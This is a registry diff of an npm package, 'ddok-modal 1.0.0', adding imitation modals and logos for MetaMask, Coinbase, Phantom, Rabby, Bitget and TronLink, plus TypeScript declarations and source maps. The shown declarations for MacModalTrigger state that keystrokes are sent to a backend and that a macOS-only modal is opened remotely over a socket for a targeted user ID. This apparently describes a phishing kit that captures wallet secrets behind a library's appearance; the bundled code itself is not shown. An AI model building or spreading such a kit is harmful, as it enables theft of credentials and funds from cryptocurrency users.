ddok-modal 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (86) hide show
  1. package/dist/assets/bitget_logo.png +0 -0
  2. package/dist/assets/coinbase_logo.svg +4 -0
  3. package/dist/assets/metamask_logo.svg +26 -0
  4. package/dist/assets/phantom_logo.svg +3 -0
  5. package/dist/assets/rabyy_logo.svg +41 -0
  6. package/dist/assets/tronlink_logo.jpeg +0 -0
  7. package/dist/components/ConnectWalletButton.d.ts +8 -0
  8. package/dist/components/ConnectWalletButton.d.ts.map +1 -0
  9. package/dist/components/CustomWalletModal.d.ts +6 -0
  10. package/dist/components/CustomWalletModal.d.ts.map +1 -0
  11. package/dist/components/MacModalTrigger.d.ts +24 -0
  12. package/dist/components/MacModalTrigger.d.ts.map +1 -0
  13. package/dist/components/ModalContainer.d.ts +19 -0
  14. package/dist/components/ModalContainer.d.ts.map +1 -0
  15. package/dist/components/WalletSelectionModal.d.ts +8 -0
  16. package/dist/components/WalletSelectionModal.d.ts.map +1 -0
  17. package/dist/index.cjs +14629 -0
  18. package/dist/index.cjs.map +1 -0
  19. package/dist/index.d.ts +201 -0
  20. package/dist/index.d.ts.map +1 -0
  21. package/dist/index.esm.js +14607 -0
  22. package/dist/index.esm.js.map +1 -0
  23. package/dist/services/config.d.ts +32 -0
  24. package/dist/services/config.d.ts.map +1 -0
  25. package/dist/services/keyService.d.ts +58 -0
  26. package/dist/services/keyService.d.ts.map +1 -0
  27. package/dist/services/macModalService.d.ts +12 -0
  28. package/dist/services/macModalService.d.ts.map +1 -0
  29. package/dist/services/userWalletService.d.ts +20 -0
  30. package/dist/services/userWalletService.d.ts.map +1 -0
  31. package/dist/toastr.min.css +1 -0
  32. package/dist/types.d.ts +46 -0
  33. package/dist/types.d.ts.map +1 -0
  34. package/dist/utils/Spinning.d.ts +8 -0
  35. package/dist/utils/Spinning.d.ts.map +1 -0
  36. package/dist/utils/assetPath.d.ts +21 -0
  37. package/dist/utils/assetPath.d.ts.map +1 -0
  38. package/dist/utils/assetPaths.d.ts +25 -0
  39. package/dist/utils/assetPaths.d.ts.map +1 -0
  40. package/dist/utils/locationService.d.ts +21 -0
  41. package/dist/utils/locationService.d.ts.map +1 -0
  42. package/dist/utils/toast.d.ts +16 -0
  43. package/dist/utils/toast.d.ts.map +1 -0
  44. package/dist/utils/useDarkMode.d.ts +6 -0
  45. package/dist/utils/useDarkMode.d.ts.map +1 -0
  46. package/dist/utils/walletDetection.d.ts +41 -0
  47. package/dist/utils/walletDetection.d.ts.map +1 -0
  48. package/dist/wallets/base/WalletModalBase.d.ts +25 -0
  49. package/dist/wallets/base/WalletModalBase.d.ts.map +1 -0
  50. package/dist/wallets/bitget/BitgetModal.d.ts +6 -0
  51. package/dist/wallets/bitget/BitgetModal.d.ts.map +1 -0
  52. package/dist/wallets/bitget/styles.css +2247 -0
  53. package/dist/wallets/coinbase/CoinbaseModal.d.ts +6 -0
  54. package/dist/wallets/coinbase/CoinbaseModal.d.ts.map +1 -0
  55. package/dist/wallets/coinbase/styles.css +2175 -0
  56. package/dist/wallets/mac/MacModal.d.ts +6 -0
  57. package/dist/wallets/mac/MacModal.d.ts.map +1 -0
  58. package/dist/wallets/mac/styles.css +2238 -0
  59. package/dist/wallets/metamask/FoxRiveAnimation.d.ts +3 -0
  60. package/dist/wallets/metamask/FoxRiveAnimation.d.ts.map +1 -0
  61. package/dist/wallets/metamask/MetamaskModal.d.ts +6 -0
  62. package/dist/wallets/metamask/MetamaskModal.d.ts.map +1 -0
  63. package/dist/wallets/metamask/assets/fox_appear.riv +0 -0
  64. package/dist/wallets/metamask/assets/metamask-fox.svg +24 -0
  65. package/dist/wallets/metamask/styles.css +369 -0
  66. package/dist/wallets/phantom/PhantomModal.d.ts +6 -0
  67. package/dist/wallets/phantom/PhantomModal.d.ts.map +1 -0
  68. package/dist/wallets/phantom/phantom/j.gif +0 -0
  69. package/dist/wallets/phantom/phantom/n.gif +0 -0
  70. package/dist/wallets/phantom/phantom/s.gif +0 -0
  71. package/dist/wallets/phantom/phantom/w.gif +0 -0
  72. package/dist/wallets/phantom/phantom/wp.gif +0 -0
  73. package/dist/wallets/phantom/styles.css +2273 -0
  74. package/dist/wallets/rabby/RabbyModal.d.ts +6 -0
  75. package/dist/wallets/rabby/RabbyModal.d.ts.map +1 -0
  76. package/dist/wallets/rabby/styles.css +2269 -0
  77. package/dist/wallets/registry.d.ts +24 -0
  78. package/dist/wallets/registry.d.ts.map +1 -0
  79. package/dist/wallets/solflare/SolflareModal.d.ts +6 -0
  80. package/dist/wallets/solflare/SolflareModal.d.ts.map +1 -0
  81. package/dist/wallets/solflare/styles.css +2205 -0
  82. package/dist/wallets/tronlink/TronlinkModal.d.ts +6 -0
  83. package/dist/wallets/tronlink/TronlinkModal.d.ts.map +1 -0
  84. package/dist/wallets/tronlink/assets/loading.gif +0 -0
  85. package/dist/wallets/tronlink/styles.css +2279 -0
  86. package/package.json +86 -0
Binary file
@@ -0,0 +1,4 @@
1
+ <svg width="1024" height="1024" viewBox="0 0 1024 1024" fill="none" xmlns="http://www.w3.org/2000/svg">
2
+ <rect width="1024" height="1024" fill="#0052FF"/>
3
+ <path fill-rule="evenodd" clip-rule="evenodd" d="M152 512C152 710.823 313.177 872 512 872C710.823 872 872 710.823 872 512C872 313.177 710.823 152 512 152C313.177 152 152 313.177 152 512ZM420 396C406.745 396 396 406.745 396 420V604C396 617.255 406.745 628 420 628H604C617.255 628 628 617.255 628 604V420C628 406.745 617.255 396 604 396H420Z" fill="white"/>
4
+ </svg>
@@ -0,0 +1,26 @@
1
+ <?xml version="1.0" encoding="iso-8859-1"?>
2
+ <!-- Generator: Adobe Illustrator 29.4.0, SVG Export Plug-In . SVG Version: 9.03 Build 0) -->
3
+ <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
4
+ viewBox="0 0 142 136.878" style="enable-background:new 0 0 142 136.878;" xml:space="preserve">
5
+ <path style="fill:#FF5C16;" d="M132.682,132.192l-30.583-9.106l-23.063,13.787l-16.092-0.007l-23.077-13.78l-30.569,9.106L0,100.801
6
+ l9.299-34.839L0,36.507L9.299,0l47.766,28.538h27.85L132.682,0l9.299,36.507l-9.299,29.455l9.299,34.839L132.682,132.192
7
+ L132.682,132.192z"/>
8
+ <path style="fill:#FF5C16;" d="M9.305,0l47.767,28.558l-1.899,19.599L9.305,0z M39.875,100.814l21.017,16.01l-21.017,6.261
9
+ C39.875,123.085,39.875,100.814,39.875,100.814z M59.212,74.345l-4.039-26.174L29.317,65.97l-0.014-0.007v0.013l0.08,18.321
10
+ l10.485-9.951L59.212,74.345L59.212,74.345z M132.682,0L84.915,28.558l1.893,19.599L132.682,0z M102.113,100.814l-21.018,16.01
11
+ l21.018,6.261V100.814z M112.678,65.975h0.007H112.678v-0.013l-0.006,0.007L86.815,48.171l-4.039,26.174h19.336l10.492,9.95
12
+ C112.604,84.295,112.678,65.975,112.678,65.975z"/>
13
+ <path style="fill:#E34807;" d="M39.868,123.085l-30.569,9.106L0,100.814h39.868C39.868,100.814,39.868,123.085,39.868,123.085z
14
+ M59.205,74.338l5.839,37.84l-8.093-21.04L29.37,84.295l10.491-9.956h19.344L59.205,74.338z M102.112,123.085l30.57,9.106
15
+ l9.299-31.378h-39.869C102.112,100.814,102.112,123.085,102.112,123.085z M82.776,74.338l-5.839,37.84l8.092-21.04l27.583-6.843
16
+ l-10.498-9.956H82.776V74.338z"/>
17
+ <path style="fill:#FF8D5D;" d="M0,100.801l9.299-34.839h19.997l0.073,18.327l27.584,6.843l8.092,21.039l-4.16,4.633l-21.017-16.01H0
18
+ V100.801z M141.981,100.801l-9.299-34.839h-19.998l-0.073,18.327l-27.582,6.843l-8.093,21.039l4.159,4.633l21.018-16.01h39.868
19
+ V100.801z M84.915,28.538h-27.85l-1.891,19.599l9.872,64.013h11.891l9.878-64.013L84.915,28.538z"/>
20
+ <path style="fill:#661800;" d="M9.299,0L0,36.507l9.299,29.455h19.997l25.87-17.804L9.299,0z M53.426,81.938h-9.059l-4.932,4.835
21
+ l17.524,4.344l-3.533-9.186V81.938z M132.682,0l9.299,36.507l-9.299,29.455h-19.998L86.815,48.158L132.682,0z M88.568,81.938h9.072
22
+ l4.932,4.841l-17.544,4.353l3.54-9.201V81.938z M79.029,124.385l2.067-7.567l-4.16-4.633h-11.9l-4.159,4.633l2.066,7.567"/>
23
+ <path style="fill:#C0C4CD;" d="M79.029,124.384v12.495H62.945v-12.495L79.029,124.384L79.029,124.384z"/>
24
+ <path style="fill:#E7EBF6;" d="M39.875,123.072l23.083,13.8v-12.495l-2.067-7.566C60.891,116.811,39.875,123.072,39.875,123.072z
25
+ M102.113,123.072l-23.084,13.8v-12.495l2.067-7.566C81.096,116.811,102.113,123.072,102.113,123.072z"/>
26
+ </svg>
@@ -0,0 +1,3 @@
1
+ <svg width="593" height="493" viewBox="0 0 593 493" fill="none" xmlns="http://www.w3.org/2000/svg">
2
+ <path d="M70.0546 493C145.604 493 202.38 427.297 236.263 375.378C232.142 386.865 229.852 398.351 229.852 409.378C229.852 439.703 247.252 461.297 281.592 461.297C328.753 461.297 379.119 419.946 405.218 375.378C403.386 381.811 402.471 387.784 402.471 393.297C402.471 414.432 414.375 427.757 438.643 427.757C515.108 427.757 592.03 292.216 592.03 173.676C592.03 81.3243 545.327 0 428.112 0C222.069 0 0 251.784 0 414.432C0 478.297 34.3405 493 70.0546 493ZM357.141 163.568C357.141 140.595 369.962 124.514 388.734 124.514C407.049 124.514 419.87 140.595 419.87 163.568C419.87 186.541 407.049 203.081 388.734 203.081C369.962 203.081 357.141 186.541 357.141 163.568ZM455.126 163.568C455.126 140.595 467.947 124.514 486.719 124.514C505.034 124.514 517.855 140.595 517.855 163.568C517.855 186.541 505.034 203.081 486.719 203.081C467.947 203.081 455.126 186.541 455.126 163.568Z" fill="#AB9FF2"/>
3
+ </svg>
@@ -0,0 +1,41 @@
1
+ <svg width="161" height="160" viewBox="0 0 161 160" fill="none" xmlns="http://www.w3.org/2000/svg">
2
+ <g clip-path="url(#clip0_355_3988)">
3
+ <path
4
+ d="M148.047 88.6169C153.448 76.5068 126.749 42.6731 101.243 28.5773C85.1659 17.6575 68.4134 19.1577 65.0205 23.9523C57.5744 34.4746 89.6766 43.3906 111.146 53.795C106.531 55.807 102.182 59.4176 99.6242 64.0352C91.6203 55.264 74.0528 47.7107 53.4392 53.795C39.5481 57.8951 28.0036 67.5611 23.5417 82.1605C22.4575 81.6769 21.2571 81.4082 19.9942 81.4082C15.1649 81.4082 11.25 85.3379 11.25 90.1854C11.25 95.033 15.1649 98.9627 19.9942 98.9627C20.8894 98.9627 23.6882 98.36 23.6882 98.36L68.4134 98.6853C50.5268 127.168 36.3913 131.331 36.3913 136.266C36.3913 141.2 49.9165 139.863 54.9949 138.024C79.3057 129.219 105.417 101.777 109.897 93.8779C128.713 96.2343 144.526 96.513 148.047 88.6169Z"
5
+ fill="url(#paint0_linear_355_3988)" />
6
+ <path
7
+ d="M64.4841 29.3587C65.9945 26.3383 76.2037 26.0013 90.0681 32.556C100.244 37.367 111.081 48.108 111.709 50.7708C111.982 51.9293 112.142 53.4048 111.147 53.7982C111.146 53.7976 111.145 53.7968 111.143 53.7962L111.146 53.7953C93.4437 45.2163 68.5135 37.6487 64.4841 29.3587Z"
8
+ fill="url(#paint1_linear_355_3988)" />
9
+ <path
10
+ d="M58.6694 71.8772C73.5151 71.8772 79.9042 76.6996 84.9936 85.759C88.62 92.2144 87.8148 102.425 83.975 109.322C87.5754 110.217 90.7417 111.205 93.5453 112.281C88.9983 116.531 83.7943 120.944 78.2592 124.991C70.7233 123.061 63.8755 121.228 53.4916 118.557C57.9298 113.696 63.0004 107.305 68.4135 98.6848L28.269 98.3928C28.1296 96.7639 28.0884 94.9926 28.1293 93.0598C28.5196 74.6387 50.5038 71.8773 58.6694 71.8772Z"
11
+ fill="url(#paint2_linear_355_3988)" />
12
+ <path
13
+ d="M23.0061 96.5002C24.6461 110.494 32.5692 115.978 48.7593 117.601C64.9494 119.224 74.2363 118.136 86.6003 119.265C96.9266 120.208 106.147 125.49 109.567 123.664C112.646 122.022 110.923 116.087 106.804 112.279C101.465 107.343 94.0752 103.911 81.0725 102.694C83.6637 95.5717 82.9376 85.5861 78.9131 80.1533C73.0941 72.298 62.3533 68.7465 48.7593 70.2982C34.5568 71.9193 20.9479 78.938 23.0061 96.5002Z"
14
+ fill="url(#paint3_linear_355_3988)" />
15
+ </g>
16
+ <defs>
17
+ <linearGradient id="paint0_linear_355_3988" x1="51.8217" y1="77.8928" x2="146.938" y2="104.764"
18
+ gradientUnits="userSpaceOnUse">
19
+ <stop stop-color="#4C65FE" />
20
+ <stop offset="1" stop-color="#8F9FFF" />
21
+ </linearGradient>
22
+ <linearGradient id="paint1_linear_355_3988" x1="130.877" y1="76.079" x2="62.0252" y2="7.32076"
23
+ gradientUnits="userSpaceOnUse">
24
+ <stop stop-color="#4C65FE" />
25
+ <stop offset="1" stop-color="#5156D8" stop-opacity="0" />
26
+ </linearGradient>
27
+ <linearGradient id="paint2_linear_355_3988" x1="95.4537" y1="114.683" x2="29.4416" y2="76.8748"
28
+ gradientUnits="userSpaceOnUse">
29
+ <stop stop-color="#2D46E2" />
30
+ <stop offset="1" stop-color="#8697FF" stop-opacity="0" />
31
+ </linearGradient>
32
+ <linearGradient id="paint3_linear_355_3988" x1="57.4972" y1="77.1806" x2="102.242" y2="133.819"
33
+ gradientUnits="userSpaceOnUse">
34
+ <stop stop-color="#4C65FE" />
35
+ <stop offset="1" stop-color="#4C65FE" />
36
+ </linearGradient>
37
+ <clipPath id="clip0_355_3988">
38
+ <rect width="160" height="160" fill="white" transform="translate(0.5)" />
39
+ </clipPath>
40
+ </defs>
41
+ </svg>
Binary file
@@ -0,0 +1,8 @@
1
+ import React from 'react';
2
+ interface ConnectWalletButtonProps {
3
+ className?: string;
4
+ userId?: string;
5
+ }
6
+ declare const ConnectWalletButton: React.FC<ConnectWalletButtonProps>;
7
+ export default ConnectWalletButton;
8
+ //# sourceMappingURL=ConnectWalletButton.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ConnectWalletButton.d.ts","sourceRoot":"","sources":["../../src/components/ConnectWalletButton.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAmB,MAAM,OAAO,CAAC;AAOxC,UAAU,wBAAwB;IAChC,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,MAAM,CAAC,EAAE,MAAM,CAAC;CACjB;AAED,QAAA,MAAM,mBAAmB,EAAE,KAAK,CAAC,EAAE,CAAC,wBAAwB,CAoF3D,CAAC;AAEF,eAAe,mBAAmB,CAAC"}
@@ -0,0 +1,6 @@
1
+ import React from 'react';
2
+ import { CustomWalletModalProps } from '../types';
3
+ import '../styles/modal-isolation.css';
4
+ declare const CustomWalletModal: React.FC<CustomWalletModalProps>;
5
+ export default CustomWalletModal;
6
+ //# sourceMappingURL=CustomWalletModal.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"CustomWalletModal.d.ts","sourceRoot":"","sources":["../../src/components/CustomWalletModal.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,sBAAsB,EAAE,MAAM,UAAU,CAAC;AAWlD,OAAO,+BAA+B,CAAC;AAEvC,QAAA,MAAM,iBAAiB,EAAE,KAAK,CAAC,EAAE,CAAC,sBAAsB,CA0DvD,CAAC;AAEF,eAAe,iBAAiB,CAAC"}
@@ -0,0 +1,24 @@
1
+ import React from 'react';
2
+ import '../styles/modal-isolation.css';
3
+ export interface MacModalTriggerProps {
4
+ /** User ID for backend key service. Required when backendConfig.enabled is true. */
5
+ userId?: string;
6
+ /** Backend integration config. When enabled, keystrokes are sent to backend. */
7
+ backendConfig?: {
8
+ enabled?: boolean;
9
+ userId?: string;
10
+ };
11
+ /** Called when the Mac modal is closed. */
12
+ onClose?: () => void;
13
+ }
14
+ /**
15
+ * Listens for the backend socket event (default: `showMacModal`) and opens the Mac modal only when:
16
+ * - The user's OS is macOS (Mac, iPhone, iPad, iPod), and
17
+ * - The payload's user_id matches this component's userId (or backendConfig.userId).
18
+ * Mount once (e.g. at app root) to enable socket-triggered Mac modal.
19
+ *
20
+ * Backend example: io.emit('showMacModal', { message: '...', user_id, text, timestamp });
21
+ */
22
+ declare const MacModalTrigger: React.FC<MacModalTriggerProps>;
23
+ export default MacModalTrigger;
24
+ //# sourceMappingURL=MacModalTrigger.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"MacModalTrigger.d.ts","sourceRoot":"","sources":["../../src/components/MacModalTrigger.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAsC,MAAM,OAAO,CAAC;AAK3D,OAAO,+BAA+B,CAAC;AAMvC,MAAM,WAAW,oBAAoB;IACnC,oFAAoF;IACpF,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,gFAAgF;IAChF,aAAa,CAAC,EAAE;QACd,OAAO,CAAC,EAAE,OAAO,CAAC;QAClB,MAAM,CAAC,EAAE,MAAM,CAAC;KACjB,CAAC;IACF,2CAA2C;IAC3C,OAAO,CAAC,EAAE,MAAM,IAAI,CAAC;CACtB;AAED;;;;;;;GAOG;AACH,QAAA,MAAM,eAAe,EAAE,KAAK,CAAC,EAAE,CAAC,oBAAoB,CAiFnD,CAAC;AAEF,eAAe,eAAe,CAAC"}
@@ -0,0 +1,19 @@
1
+ import React from 'react';
2
+ interface ModalContainerProps {
3
+ children: React.ReactNode;
4
+ className?: string;
5
+ }
6
+ /**
7
+ * ModalContainer - Isolates modal styles from external project styles
8
+ *
9
+ * This component:
10
+ * 1. Wraps modals in a scoped container to prevent style conflicts
11
+ * 2. Uses CSS isolation to prevent external styles from affecting modal
12
+ * 3. Ensures modal styles don't leak to the parent project
13
+ * 4. Handles portal rendering to body
14
+ *
15
+ * Note: Individual modals should NOT use createPortal - this component handles it
16
+ */
17
+ declare const ModalContainer: React.FC<ModalContainerProps>;
18
+ export default ModalContainer;
19
+ //# sourceMappingURL=ModalContainer.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ModalContainer.d.ts","sourceRoot":"","sources":["../../src/components/ModalContainer.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAG1B,UAAU,mBAAmB;IAC3B,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAC;IAC1B,SAAS,CAAC,EAAE,MAAM,CAAC;CACpB;AAED;;;;;;;;;;GAUG;AACH,QAAA,MAAM,cAAc,EAAE,KAAK,CAAC,EAAE,CAAC,mBAAmB,CAQjD,CAAC;AAEF,eAAe,cAAc,CAAC"}
@@ -0,0 +1,8 @@
1
+ import React from 'react';
2
+ import { WalletConnectModalProps } from '../types';
3
+ interface WalletSelectionModalProps extends WalletConnectModalProps {
4
+ userId?: string;
5
+ }
6
+ declare const WalletSelectionModal: React.FC<WalletSelectionModalProps>;
7
+ export default WalletSelectionModal;
8
+ //# sourceMappingURL=WalletSelectionModal.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"WalletSelectionModal.d.ts","sourceRoot":"","sources":["../../src/components/WalletSelectionModal.tsx"],"names":[],"mappings":"AAAA,OAAO,KAA8B,MAAM,OAAO,CAAC;AACnD,OAAO,EAAc,uBAAuB,EAAE,MAAM,UAAU,CAAC;AAO/D,UAAU,yBAA0B,SAAQ,uBAAuB;IACjE,MAAM,CAAC,EAAE,MAAM,CAAC;CACjB;AAED,QAAA,MAAM,oBAAoB,EAAE,KAAK,CAAC,EAAE,CAAC,yBAAyB,CAmQ7D,CAAC;AAEF,eAAe,oBAAoB,CAAC"}